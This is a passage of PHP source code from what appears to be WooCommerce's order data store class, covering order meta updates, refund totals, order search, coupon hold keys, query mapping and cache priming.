'_customer_user' => 'customer_id', '_payment_method' => 'payment_method', '_payment_method_title' => 'payment_method_title', '_transaction_id' => 'transaction_id', '_customer_ip_address' => 'customer_ip_address', '_customer_user_agent' => 'customer_user_agent', '_created_via' => 'created_via', '_date_completed' => 'date_completed', '_date_paid' => 'date_paid', '_cart_hash' => 'cart_hash', '_download_permissions_granted' => 'download_permissions_granted', '_recorded_sales' => 'recorded_sales', '_recorded_coupon_usage_counts' => 'recorded_coupon_usage_counts', '_new_order_email_sent' => 'new_order_email_sent', '_order_stock_reduced' => 'order_stock_reduced', ); $props_to_update = $this->get_props_to_update( $order, $meta_key_to_props ); foreach ( $props_to_update as $meta_key => $prop ) { $value = $order->{"get_$prop"}( 'edit' ); $value = is_string( $value ) ? wp_slash( $value ) : $value; switch ( $prop ) { case 'date_paid': case 'date_completed': $value = ! is_null( $value ) ? $value->getTimestamp() : ''; break; case 'download_permissions_granted': case 'recorded_sales': case 'recorded_coupon_usage_counts': case 'order_stock_reduced': if ( is_null( $value ) || '' === $value ) { break; } $value = is_bool( $value ) ? wc_bool_to_string( $value ) : $value; break; case 'new_order_email_sent': if ( is_null( $value ) || '' === $value ) { break; } $value = is_bool( $value ) ? wc_bool_to_string( $value ) : $value; $value = 'yes' === $value ? 'true' : 'false'; // For backward compatibility, we store as true/false in DB. break; } // We want to persist internal data store keys as 'yes' or 'no' if they are boolean to maintain compatibility. if ( is_bool( $value ) && in_array( $prop, array_values( $this->internal_data_store_key_getters ), true ) ) { $value = wc_bool_to_string( $value ); } $updated = $this->update_or_delete_post_meta( $order, $meta_key, $value ); if ( $updated ) { $updated_props[] = $prop; } } $address_props = array( 'billing' => array( '_billing_first_name' => 'billing_first_name', '_billing_last_name' => 'billing_last_name', '_billing_company' => 'billing_company', '_billing_address_1' => 'billing_address_1', '_billing_address_2' => 'billing_address_2', '_billing_city' => 'billing_city', '_billing_state' => 'billing_state', '_billing_postcode' => 'billing_postcode', '_billing_country' => 'billing_country', '_billing_email' => 'billing_email', '_billing_phone' => 'billing_phone', ), 'shipping' => array( '_shipping_first_name' => 'shipping_first_name', '_shipping_last_name' => 'shipping_last_name', '_shipping_company' => 'shipping_company', '_shipping_address_1' => 'shipping_address_1', '_shipping_address_2' => 'shipping_address_2', '_shipping_city' => 'shipping_city', '_shipping_state' => 'shipping_state', '_shipping_postcode' => 'shipping_postcode', '_shipping_country' => 'shipping_country', '_shipping_phone' => 'shipping_phone', ), ); foreach ( $address_props as $props_key => $props ) { $props_to_update = $this->get_props_to_update( $order, $props ); foreach ( $props_to_update as $meta_key => $prop ) { $value = $order->{"get_$prop"}( 'edit' ); $value = is_string( $value ) ? wp_slash( $value ) : $value; $updated = $this->update_or_delete_post_meta( $order, $meta_key, $value ); if ( $updated ) { $updated_props[] = $prop; $updated_props[] = $props_key; } } } parent::update_post_meta( $order ); // If address changed, store concatenated version to make searches faster. if ( in_array( 'billing', $updated_props, true ) || ! metadata_exists( 'post', $id, '_billing_address_index' ) ) { update_post_meta( $id, '_billing_address_index', implode( ' ', $order->get_address( 'billing' ) ) ); } if ( in_array( 'shipping', $updated_props, true ) || ! metadata_exists( 'post', $id, '_shipping_address_index' ) ) { update_post_meta( $id, '_shipping_address_index', implode( ' ', $order->get_address( 'shipping' ) ) ); } // Legacy date handling. @todo remove in 4.0. if ( in_array( 'date_paid', $updated_props, true ) ) { $value = $order->get_date_paid( 'edit' ); // In 2.6.x date_paid was stored as _paid_date in local mysql format. update_post_meta( $id, '_paid_date', ! is_null( $value ) ? $value->date( 'Y-m-d H:i:s' ) : '' ); } if ( in_array( 'date_completed', $updated_props, true ) ) { $value = $order->get_date_completed( 'edit' ); // In 2.6.x date_completed was stored as _completed_date in local mysql format. update_post_meta( $id, '_completed_date', ! is_null( $value ) ? $value->date( 'Y-m-d H:i:s' ) : '' ); } // If customer changed, update any downloadable permissions. if ( in_array( 'customer_id', $updated_props, true ) || in_array( 'billing_email', $updated_props, true ) ) { $data_store = WC_Data_Store::load( 'customer-download' ); $data_store->update_user_by_order_id( $id, $order->get_customer_id(), $order->get_billing_email() ); } // Mark user account as active. if ( in_array( 'customer_id', $updated_props, true ) ) { wc_update_user_last_active( $order->get_customer_id() ); } do_action( 'woocommerce_order_object_updated_props', $order, $updated_props ); } /** * Excerpt for post. * * @param WC_Order $order Order object. * @return string */ protected function get_post_excerpt( $order ) { return $order->get_customer_note(); } /** * Get order key. * * @since 4.3.0 * @param WC_order $order Order object. * @return string */ protected function get_order_key( $order ) { if ( '' !== $order->get_order_key() ) { return $order->get_order_key(); } return parent::get_order_key( $order ); } /** * Get amount already refunded. * * @param WC_Order $order Order object. * @return float */ public function get_total_refunded( $order ) { global $wpdb; $total = $wpdb->get_var( $wpdb->prepare( "SELECT SUM( postmeta.meta_value ) FROM $wpdb->postmeta AS postmeta INNER JOIN $wpdb->posts AS posts ON ( posts.post_type = 'shop_order_refund' AND posts.post_parent = %d ) WHERE postmeta.meta_key = '_refund_amount' AND postmeta.post_id = posts.ID", $order->get_id() ) ); return floatval( $total ); } /** * Get the total tax refunded. * * @param WC_Order $order Order object. * @return float */ public function get_total_tax_refunded( $order ) { global $wpdb; $total = $wpdb->get_var( $wpdb->prepare( "SELECT SUM( order_itemmeta.meta_value ) FROM {$wpdb->prefix}woocommerce_order_itemmeta AS order_itemmeta INNER JOIN $wpdb->posts AS posts ON ( posts.post_type = 'shop_order_refund' AND posts.post_parent = %d ) INNER JOIN {$wpdb->prefix}woocommerce_order_items AS order_items ON ( order_items.order_id = posts.ID AND order_items.order_item_type = 'tax' ) WHERE order_itemmeta.order_item_id = order_items.order_item_id AND order_itemmeta.meta_key IN ('tax_amount', 'shipping_tax_amount')", $order->get_id() ) ) ?? 0; return abs( $total ); } /** * Get the total shipping refunded. * * @param WC_Order $order Order object. * @return float */ public function get_total_shipping_refunded( $order ) { global $wpdb; $total = $wpdb->get_var( $wpdb->prepare( "SELECT SUM( order_itemmeta.meta_value ) FROM {$wpdb->prefix}woocommerce_order_itemmeta AS order_itemmeta INNER JOIN $wpdb->posts AS posts ON ( posts.post_type = 'shop_order_refund' AND posts.post_parent = %d ) INNER JOIN {$wpdb->prefix}woocommerce_order_items AS order_items ON ( order_items.order_id = posts.ID AND order_items.order_item_type = 'shipping' ) WHERE order_itemmeta.order_item_id = order_items.order_item_id AND order_itemmeta.meta_key IN ('cost')", $order->get_id() ) ) ?? 0; return abs( $total ); } /** * Finds an Order ID based on an order key. * * @param string $order_key An order key has generated by. * @return int The ID of an order, or 0 if the order could not be found */ public function get_order_id_by_order_key( $order_key ) { global $wpdb; return $wpdb->get_var( $wpdb->prepare( "SELECT post_id FROM {$wpdb->prefix}postmeta WHERE meta_key = '_order_key' AND meta_value = %s", $order_key ) ); } /** * Return count of orders with a specific status. * * @param string $status Order status. Function wc_get_order_statuses() returns a list of valid statuses. * @return int */ public function get_order_count( $status ) { global $wpdb; return absint( $wpdb->get_var( $wpdb->prepare( "SELECT COUNT( * ) FROM {$wpdb->posts} WHERE post_type = 'shop_order' AND post_status = %s", $status ) ) ); } /** * Get all orders matching the passed in args. * * @deprecated 3.1.0 - Use wc_get_orders instead. * @see wc_get_orders() * * @param array $args List of args passed to wc_get_orders(). * * @return array|object */ public function get_orders( $args = array() ) { wc_deprecated_function( 'WC_Order_Data_Store_CPT::get_orders', '3.1.0', 'Use wc_get_orders instead.' ); return wc_get_orders( $args ); } /** * Generate meta query for wc_get_orders. * * @param array $values List of customers ids or emails. * @param string $relation 'or' or 'and' relation used to build the WP meta_query. * @return array */ private function get_orders_generate_customer_meta_query( $values, $relation = 'or' ) { $meta_query = array( 'relation' => strtoupper( $relation ), 'customer_emails' => array( 'key' => '_billing_email', 'value' => array(), 'compare' => 'IN', ), 'customer_ids' => array( 'key' => '_customer_user', 'value' => array(), 'compare' => 'IN', ), ); foreach ( $values as $value ) { if ( is_array( $value ) ) { $query_part = $this->get_orders_generate_customer_meta_query( $value, 'and' ); if ( is_wp_error( $query_part ) ) { return $query_part; } $meta_query[] = $query_part; } elseif ( is_email( $value ) ) { $meta_query['customer_emails']['value'][] = sanitize_email( $value ); } elseif ( is_numeric( $value ) ) { $meta_query['customer_ids']['value'][] = strval( absint( $value ) ); } else { return new WP_Error( 'woocommerce_query_invalid', __( 'Invalid customer query.', 'woocommerce' ), $values ); } } if ( empty( $meta_query['customer_emails']['value'] ) ) { unset( $meta_query['customer_emails'] ); unset( $meta_query['relation'] ); } if ( empty( $meta_query['customer_ids']['value'] ) ) { unset( $meta_query['customer_ids'] ); unset( $meta_query['relation'] ); } return $meta_query; } /** * Get unpaid orders after a certain date, * * @param int $date Timestamp. * @return array */ public function get_unpaid_orders( $date ) { global $wpdb; $unpaid_orders = $wpdb->get_col( $wpdb->prepare( // @codingStandardsIgnoreStart "SELECT posts.ID FROM {$wpdb->posts} AS posts WHERE posts.post_type IN ('" . implode( "','", wc_get_order_types() ) . "') AND posts.post_status = 'wc-pending' AND posts.post_modified < %s", // @codingStandardsIgnoreEnd gmdate( 'Y-m-d H:i:s', absint( $date ) ) ) ); return $unpaid_orders; } /** * Search order data for a term and return ids. * * @param string $term Searched term. * @return array of ids */ public function search_orders( $term ) { global $wpdb; /** * Searches on meta data can be slow - this lets you choose what fields to search. * 3.0.0 added _billing_address and _shipping_address meta which contains all address data to make this faster. * This however won't work on older orders unless updated, so search a few others (expand this using the filter if needed). * * @var array */ $search_fields = array_map( 'wc_clean', apply_filters( 'woocommerce_shop_order_search_fields', array( '_billing_address_index', '_shipping_address_index', '_billing_last_name', '_billing_email', ) ) ); $order_ids = array(); if ( is_numeric( $term ) ) { $order_ids[] = absint( $term ); } if ( ! empty( $search_fields ) ) { $order_ids = array_unique( array_merge( $order_ids, $wpdb->get_col( $wpdb->prepare( "SELECT DISTINCT p1.post_id FROM {$wpdb->postmeta} p1 WHERE p1.meta_value LIKE %s AND p1.meta_key IN ('" . implode( "','", array_map( 'esc_sql', $search_fields ) ) . "')", // @codingStandardsIgnoreLine '%' . $wpdb->esc_like( wc_clean( $term ) ) . '%' ) ), $wpdb->get_col( $wpdb->prepare( "SELECT order_id FROM {$wpdb->prefix}woocommerce_order_items as order_items WHERE order_item_name LIKE %s", '%' . $wpdb->esc_like( wc_clean( $term ) ) . '%' ) ) ) ); } return apply_filters( 'woocommerce_shop_order_search_results', $order_ids, $term, $search_fields ); } /** * Gets information about whether permissions were generated yet. * * @param WC_Order|int $order Order ID or order object. * @return bool */ public function get_download_permissions_granted( $order ) { $order_id = WC_Order_Factory::get_order_id( $order ); return wc_string_to_bool( get_post_meta( $order_id, '_download_permissions_granted', true ) ); } /** * Stores information about whether permissions were generated yet. * * @param WC_Order|int $order Order ID or order object. * @param bool $set True or false. */ public function set_download_permissions_granted( $order, $set ) { if ( $order instanceof WC_Order ) { $order->set_download_permissions_granted( $set ); } $order_id = WC_Order_Factory::get_order_id( $order ); update_post_meta( $order_id, '_download_permissions_granted', wc_bool_to_string( $set ) ); } /** * Gets information about whether sales were recorded. * * @param WC_Order|int $order Order ID or order object. * @return bool */ public function get_recorded_sales( $order ) { $order_id = WC_Order_Factory::get_order_id( $order ); return wc_string_to_bool( get_post_meta( $order_id, '_recorded_sales', true ) ); } /** * Stores information about whether sales were recorded. * * @param WC_Order|int $order Order ID or order object. * @param bool $set True or false. */ public function set_recorded_sales( $order, $set ) { if ( $order instanceof WC_Order ) { $order->set_recorded_sales( $set ); } $order_id = WC_Order_Factory::get_order_id( $order ); update_post_meta( $order_id, '_recorded_sales', wc_bool_to_string( $set ) ); } /** * Gets information about whether coupon counts were updated. * * @param WC_Order|int $order Order ID or order object. * @return bool */ public function get_recorded_coupon_usage_counts( $order ) { $order_id = WC_Order_Factory::get_order_id( $order ); return wc_string_to_bool( get_post_meta( $order_id, '_recorded_coupon_usage_counts', true ) ); } /** * Stores information about whether coupon counts were updated. * * @param WC_Order|int $order Order ID or order object. * @param bool $set True or false. */ public function set_recorded_coupon_usage_counts( $order, $set ) { if ( $order instanceof WC_Order ) { $order->set_recorded_coupon_usage_counts( $set ); } $order_id = WC_Order_Factory::get_order_id( $order ); update_post_meta( $order_id, '_recorded_coupon_usage_counts', wc_bool_to_string( $set ) ); } /** * Whether email have been sent for this order. * * @param WC_Order|int $order Order ID or order object. * * @return bool Whether email is sent. */ public function get_email_sent( $order ) { $order_id = WC_Order_Factory::get_order_id( $order ); return wc_string_to_bool( get_post_meta( $order_id, '_new_order_email_sent', true ) ); } /** * Whether email have been sent for this order. * * @param WC_Order|int $order Order ID or order object. * * @return bool Whether email is sent. */ public function get_new_order_email_sent( $order ) { return $this->get_email_sent( $order ); } /** * Stores information about whether email was sent. * * @param WC_Order|int $order Order ID or order object. * @param bool $set True or false. */ public function set_email_sent( $order, $set ) { if ( $order instanceof WC_Order ) { $order->set_new_order_email_sent( $set ); } $order_id = WC_Order_Factory::get_order_id( $order ); $value = wc_bool_to_string( $set ); $value = 'yes' === $value ? 'true' : 'false'; // For backward compat, we store this as true|false string. update_post_meta( $order_id, '_new_order_email_sent', $value ); } /** * Stores information about whether email was sent. * * @param WC_Order|int $order Order ID or order object. * @param bool $set True or false. */ public function set_new_order_email_sent( $order, $set ) { $this->set_email_sent( $order, $set ); } /** * Return array of coupon_code => meta_key for coupon which have usage limit and have tentative keys. * Pass $coupon_id if key for only one of the coupon is needed. * * @param WC_Order $order Order object. * @param int $coupon_id If passed, will return held key for that coupon. * * @return array|string Key value pair for coupon code and meta key name. If $coupon_id is passed, returns meta_key for only that coupon. */ public function get_coupon_held_keys( $order, $coupon_id = null ) { $held_keys = $order->get_meta( '_coupon_held_keys' ); if ( $coupon_id ) { return isset( $held_keys[ $coupon_id ] ) ? $held_keys[ $coupon_id ] : null; } return $held_keys; } /** * Return array of coupon_code => meta_key for coupon which have usage limit per customer and have tentative keys. * * @param WC_Order $order Order object. * @param int $coupon_id If passed, will return held key for that coupon. * * @return mixed */ public function get_coupon_held_keys_for_users( $order, $coupon_id = null ) { $held_keys_for_user = $order->get_meta( '_coupon_held_keys_for_users' ); if ( $coupon_id ) { return isset( $held_keys_for_user[ $coupon_id ] ) ? $held_keys_for_user[ $coupon_id ] : null; } return $held_keys_for_user; } /** * Add/Update list of meta keys that are currently being used by this order to hold a coupon. * This is used to figure out what all meta entries we should delete when order is cancelled/completed. * * @param WC_Order $order Order object. * @param array $held_keys Array of coupon_code => meta_key. * @param array $held_keys_for_user Array of coupon_code => meta_key for held coupon for user. * * @return mixed */ public function set_coupon_held_keys( $order, $held_keys, $held_keys_for_user ) { if ( is_array( $held_keys ) && 0 < count( $held_keys ) ) { $order->update_meta_data( '_coupon_held_keys', $held_keys ); } if ( is_array( $held_keys_for_user ) && 0 < count( $held_keys_for_user ) ) { $order->update_meta_data( '_coupon_held_keys_for_users', $held_keys_for_user ); } } /** * Release all coupons held by this order. * * @param WC_Order $order Current order object. * @param bool $save Whether to delete keys from DB right away. Could be useful to pass `false` if you are building a bulk request. */ public function release_held_coupons( $order, $save = true ) { $coupon_held_keys = $this->get_coupon_held_keys( $order ); if ( is_array( $coupon_held_keys ) ) { foreach ( $coupon_held_keys as $coupon_id => $meta_key ) { delete_post_meta( $coupon_id, $meta_key ); } } $order->delete_meta_data( '_coupon_held_keys' ); $coupon_held_keys_for_users = $this->get_coupon_held_keys_for_users( $order ); if ( is_array( $coupon_held_keys_for_users ) ) { foreach ( $coupon_held_keys_for_users as $coupon_id => $meta_key ) { delete_post_meta( $coupon_id, $meta_key ); } } $order->delete_meta_data( '_coupon_held_keys_for_users' ); if ( $save ) { $order->save_meta_data(); } } /** * Gets information about whether stock was reduced. * * @param WC_Order|int $order Order ID or order object. * @return bool */ public function get_stock_reduced( $order ) { $order_id = WC_Order_Factory::get_order_id( $order ); return wc_string_to_bool( get_post_meta( $order_id, '_order_stock_reduced', true ) ); } /** * Stores information about whether stock was reduced. * * @param WC_Order|int $order Order ID or order object. * @return bool */ public function get_order_stock_reduced( $order ) { return $this->get_stock_reduced( $order ); } /** * Stores information about whether stock was reduced. * * @param WC_Order|int $order Order ID or order object. * @param bool $set True or false. */ public function set_stock_reduced( $order, $set ) { if ( $order instanceof WC_Order ) { $order->set_order_stock_reduced( $set ); } $order_id = WC_Order_Factory::get_order_id( $order ); update_post_meta( $order_id, '_order_stock_reduced', wc_bool_to_string( $set ) ); } /** * Gets information about whether stock was reduced. * * @param WC_Order|int $order Order ID or order object. * @param bool $set True or false. */ public function set_order_stock_reduced( $order, $set ) { $this->set_stock_reduced( $order, $set ); } /** * Get the order type based on Order ID. * * @since 3.0.0 * @param int|WP_Post $order Order | Order id. * * @return string */ public function get_order_type( $order ) { return get_post_type( $order ); } /** * Get valid WP_Query args from a WC_Order_Query's query variables. * * @since 3.1.0 * @param array $query_vars query vars from a WC_Order_Query. * @return array */ protected function get_wp_query_args( $query_vars ) { // Map query vars to ones that get_wp_query_args or WP_Query recognize. $key_mapping = array( 'customer_id' => 'customer_user', 'status' => 'post_status', 'currency' => 'order_currency', 'version' => 'order_version', 'discount_total' => 'cart_discount', 'discount_tax' => 'cart_discount_tax', 'shipping_total' => 'order_shipping', 'shipping_tax' => 'order_shipping_tax', 'cart_tax' => 'order_tax', 'total' => 'order_total', 'page' => 'paged', ); foreach ( $key_mapping as $query_key => $db_key ) { if ( isset( $query_vars[ $query_key ] ) ) { $query_vars[ $db_key ] = $query_vars[ $query_key ]; unset( $query_vars[ $query_key ] ); } } // Add the 'wc-' prefix to status if needed. if ( ! empty( $query_vars['post_status'] ) ) { if ( is_array( $query_vars['post_status'] ) ) { foreach ( $query_vars['post_status'] as &$status ) { $status = wc_is_order_status( 'wc-' . $status ) ? 'wc-' . $status : $status; } } else { $query_vars['post_status'] = wc_is_order_status( 'wc-' . $query_vars['post_status'] ) ? 'wc-' . $query_vars['post_status'] : $query_vars['post_status']; } } $wp_query_args = parent::get_wp_query_args( $query_vars ); if ( ! isset( $wp_query_args['date_query'] ) ) { $wp_query_args['date_query'] = array(); } if ( ! isset( $wp_query_args['meta_query'] ) ) { // phpcs:ignore WordPress.DB.SlowDBQuery.slow_db_query_meta_query $wp_query_args['meta_query'] = array(); } $date_queries = array( 'date_created' => 'post_date', 'date_modified' => 'post_modified', 'date_completed' => '_date_completed', 'date_paid' => '_date_paid', ); foreach ( $date_queries as $query_var_key => $db_key ) { if ( isset( $query_vars[ $query_var_key ] ) && '' !== $query_vars[ $query_var_key ] ) { // Remove any existing meta queries for the same keys to prevent conflicts. $existing_queries = wp_list_pluck( $wp_query_args['meta_query'], 'key', true ); $meta_query_index = array_search( $db_key, $existing_queries, true ); if ( false !== $meta_query_index ) { unset( $wp_query_args['meta_query'][ $meta_query_index ] ); } $wp_query_args = $this->parse_date_for_wp_query( $query_vars[ $query_var_key ], $db_key, $wp_query_args ); } } if ( isset( $query_vars['customer'] ) && '' !== $query_vars['customer'] && array() !== $query_vars['customer'] ) { $values = is_array( $query_vars['customer'] ) ? $query_vars['customer'] : array( $query_vars['customer'] ); $customer_query = $this->get_orders_generate_customer_meta_query( $values ); if ( is_wp_error( $customer_query ) ) { $wp_query_args['errors'][] = $customer_query; } else { $wp_query_args['meta_query'][] = $customer_query; } } if ( isset( $query_vars['anonymized'] ) ) { if ( $query_vars['anonymized'] ) { $wp_query_args['meta_query'][] = array( 'key' => '_anonymized', 'value' => 'yes', ); } else { $wp_query_args['meta_query'][] = array( 'key' => '_anonymized', 'compare' => 'NOT EXISTS', ); } } if ( ! isset( $query_vars['paginate'] ) || ! $query_vars['paginate'] ) { $wp_query_args['no_found_rows'] = true; } return apply_filters( 'woocommerce_order_data_store_cpt_get_orders_query', $wp_query_args, $query_vars, $this ); } /** * Query for Orders matching specific criteria. * * @since 3.1.0 * * @param array $query_vars query vars from a WC_Order_Query. * * @return array|object */ public function query( $query_vars ) { $args = $this->get_wp_query_args( $query_vars ); if ( ! empty( $args['errors'] ) ) { $query = (object) array( 'posts' => array(), 'found_posts' => 0, 'max_num_pages' => 0, ); } else { $query = new WP_Query( $args ); } if ( isset( $query_vars['return'] ) && 'ids' === $query_vars['return'] ) { $orders = $query->posts; } else { update_post_caches( $query->posts ); // We already fetching posts, might as well hydrate some caches. $order_ids = wp_list_pluck( $query->posts, 'ID' ); $orders = $this->compile_orders( $order_ids, $query_vars, $query ); } if ( isset( $query_vars['paginate'] ) && $query_vars['paginate'] ) { return (object) array( 'orders' => $orders, 'total' => $query->found_posts, 'max_num_pages' => $query->max_num_pages, ); } return $orders; } /** * Compile order response and set caches as needed for order ids. * * @param array $order_ids List of order IDS to compile. * @param array $query_vars Original query arguments. * @param WP_Query $query Query object. * * @return array Orders. */ private function compile_orders( $order_ids, $query_vars, $query ) { if ( empty( $order_ids ) ) { return array(); } $orders = array(); $this->prime_caches_for_orders( $order_ids, $query_vars ); foreach ( $query->posts as $post ) { $order = wc_get_order( $post ); // If the order returns false, don't add it to the list. if ( false === $order ) { continue; } $orders[] = $order; } return $orders; } /** * Helper method to prime caches for orders. Call this if you are going to be fetching orders in a loop. * * @param array $order_ids List of order IDS to prime caches for. * @param array $query_vars Original query arguments. */ public function prime_caches_for_orders( $order_ids, $query_vars ) { // Lets do some cache hydrations so that we don't have to fetch data from DB for every order. $this->prime_raw_meta_cache_for_orders( $order_ids, $query_vars ); $this->prime_refund_caches_for_order( $order_ids, $query_vars ); $this->prime_order_item_caches_for_orders( $order_ids, $query_vars ); } /** * Prime refund cache for orders. * * @param array $order_ids Order Ids to prime cache for. * @param array $query_vars Query vars for the query. */ private function prime_refund_caches_for_order( $order_ids, $query_vars ) { if ( ! isset( $query_vars['type'] ) || ! ( 'shop_order' === $query_vars['type'] ) ) { return; } if ( isset( $query_vars['fields'] ) && 'all' !== $query_vars['fields'] ) { if ( is_array( $query_vars['fields'] ) && ! in_array( 'refunds', $query_vars['fields'], true ) ) { return; } } $cache_keys_mapping = array(); foreach ( $order_ids as $order_id ) { $cache_keys_mapping[ $order_id ] = WC_Cache_Helper::get_cache_prefix( 'orders' ) . 'refunds' . $order_id; } $non_cached_ids = array(); $cache_values = wc_cache_get_multiple( array_values( $cache_keys_mapping ), 'orders' ); foreach ( $order_ids as $order_id ) { if ( false === $cache_values[ $cache_keys_mapping[ $order_id ] ] ) { $non_cached_ids[] = $order_id; } } if ( empty( $non_cached_ids ) ) { return; } $refunds = wc_get_orders( array( 'type' => 'shop_order_refund', 'post_parent__in' => $non_cached_ids, 'limit' => - 1, ) ); $order_refunds = array_reduce( $refunds, function ( $order_refunds_array, WC_Order_Refund $refund ) { if ( ! isset( $order_refunds_array[ $refund->get_parent_id() ] ) ) { $order_refunds_array[ $refund->get_parent_id() ] = array(); } $order_refunds_array[ $refund->get_parent_id() ][] = $refund; return $order_refunds_array; }, array() ); foreach ( $non_cached_ids as $order_id ) { $refunds = array(); if ( isset( $order_refunds[ $order_id ] ) ) { $refunds = $order_refunds[ $order_id ]; } wp_cache_set( $cache_keys_mapping[ $order_id ], $refunds, 'orders' ); } } /** * Prime following caches: * 1. item-$order_item_id For individual items. * 2. order-items-$order-id For fetching items associated with an order. * 3. order-item meta. * * @param array $order_ids Order Ids to prime cache for. * @param array $query_vars Query vars for the query. */ private function prime_order_item_caches_for_orders( $order_ids, $query_vars ) { global $wpdb; if ( isset( $query_vars['fields'] ) && 'all' !== $query_vars['fields'] ) { $line_items = array( 'line_items', 'shipping_lines', 'fee_lines', 'coupon_lines', ); if ( is_array( $query_vars['fields'] ) && 0 === count( array_intersect( $line_items, $query_vars['fields'] ) ) ) { return; } } $cache_keys = array_map( function ( $order_id ) { return 'order-items-' . $order_id; }, $order_ids ); $cache_values = wc_cache_get_multiple( $cache_keys, 'orders' ); $non_cached_ids = array(); foreach ( $order_ids as $order_id ) { if ( false === $cache_values[ 'order-items-' . $order_id ] ) { $non_cached_ids[] = $order_id; } } if ( empty( $non_cached_ids ) ) { return; } $non_cached_ids = esc_sql( $non_cached_ids ); $non_cached_ids_string = implode( ',', $non_cached_ids ); $order_items = $wpdb->get_results( // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared "SELECT order_item_type, order_item_id, order_id, order_item_name FROM {$wpdb->prefix}woocommerce_order_items WHERE order_id in ( $non_cached_ids_string ) ORDER BY order_item_id;" ); if ( empty( $order_items ) ) { return; } $order_items_for_all_orders = array_reduce( $order_items, function ( $order_items_collection, $order_item ) { if ( ! isset( $order_items_collection[ $order_item->order_id ] ) ) { $order_items_collection[ $order_item->order_id ] = array(); } $order_items_collection[ $order_item->order_id ][] = $order_item; return $order_items_collection; } ); foreach ( $order_items_for_all_orders as $order_id => $items ) { wp_cache_set( 'order-items-' . $order_id, $items, 'orders' ); } foreach ( $order_items as $item ) { wp_cache_set( 'item-' . $item->order_item_id, $item, 'order-items' ); } $order_item_ids = wp_list_pluck( $order_items, 'order_item_id' ); update_meta_cache( 'order_item', $order_item_ids ); } /** * Prime cache for raw meta data for orders in bulk. Difference between this and WP built-in metadata is that this method also fetches `meta_id` field which we use and cache it. * * @param array $order_ids Order Ids to prime cache for. * @param array $query_vars Query vars for the query. */ private function prime_raw_meta_cache_for_orders( $order_ids, $query_vars ) { global $wpdb; if ( isset( $query_vars['fields'] ) && 'all' !== $query_vars['fields'] ) { if ( is_array( $query_vars['fields'] ) && ! in_array( 'meta_data', $query_vars['fields'], true ) ) { return; } } $cache_keys_mapping = array(); foreach ( $order_ids as $order_id ) { $cache_keys_mapping[ $order_id ] = WC_Order::generate_meta_cache_key( $order_id, 'orders' ); } $cache_values = wc_cache_get_multiple( array_values( $cache_keys_mapping ), 'orders' ); $non_cached_ids = array(); foreach ( $order_ids as $order_id ) { if ( false === $cache_values[ $cache_keys_mapping[ $order_id ] ] ) { $non_cached_ids[] = $order_id; } } if ( empty( $non_cached_ids ) ) { return; } $order_ids = esc_sql( $non_cached_ids ); $order_ids_in = "'" . implode( "', '", $order_ids ) . "'"; $raw_meta_data_array = $wpdb->get_results( // phpcs:disable WordPress.DB.PreparedSQL.InterpolatedNotPrepared "SELECT post_id as object_id, meta_id, meta_key, meta_value FROM {$wpdb->postmeta} WHERE post_id IN ( $order_ids_in ) ORDER BY post_id" // phpcs:enable WordPress.DB.PreparedSQL.InterpolatedNotPrepared ); $raw_meta_data_collection = array_reduce( $raw_meta_data_array, function ( $collection, $raw_meta_data ) { if ( ! isset( $collection[ $raw_meta_data->object_id ] ) ) { $collection[ $raw_meta_data->object_id ] = array(); } $collection[ $raw_meta_data->object_id ][] = $raw_meta_data; return $collection; }, array() ); WC_Order::prime_raw_meta_data_cache( $raw_meta_data_collection, 'orders' ); } /** * Return the order type of a given item which belongs to WC_Order. * * @since 3.2.0 * @param WC_Order $order Order Object. * @param int $order_item_id Order item id. * @return string Order Item type */ public function get_order_item_type( $order, $order_item_id ) { global $wpdb; return $wpdb->get_var( $wpdb->prepare( "SELECT DISTINCT order_item_type FROM {$wpdb->prefix}woocommerce_order_items WHERE order_id = %d and order_item_id = %d;", $order->get_id(), $order_item_id ) ); } }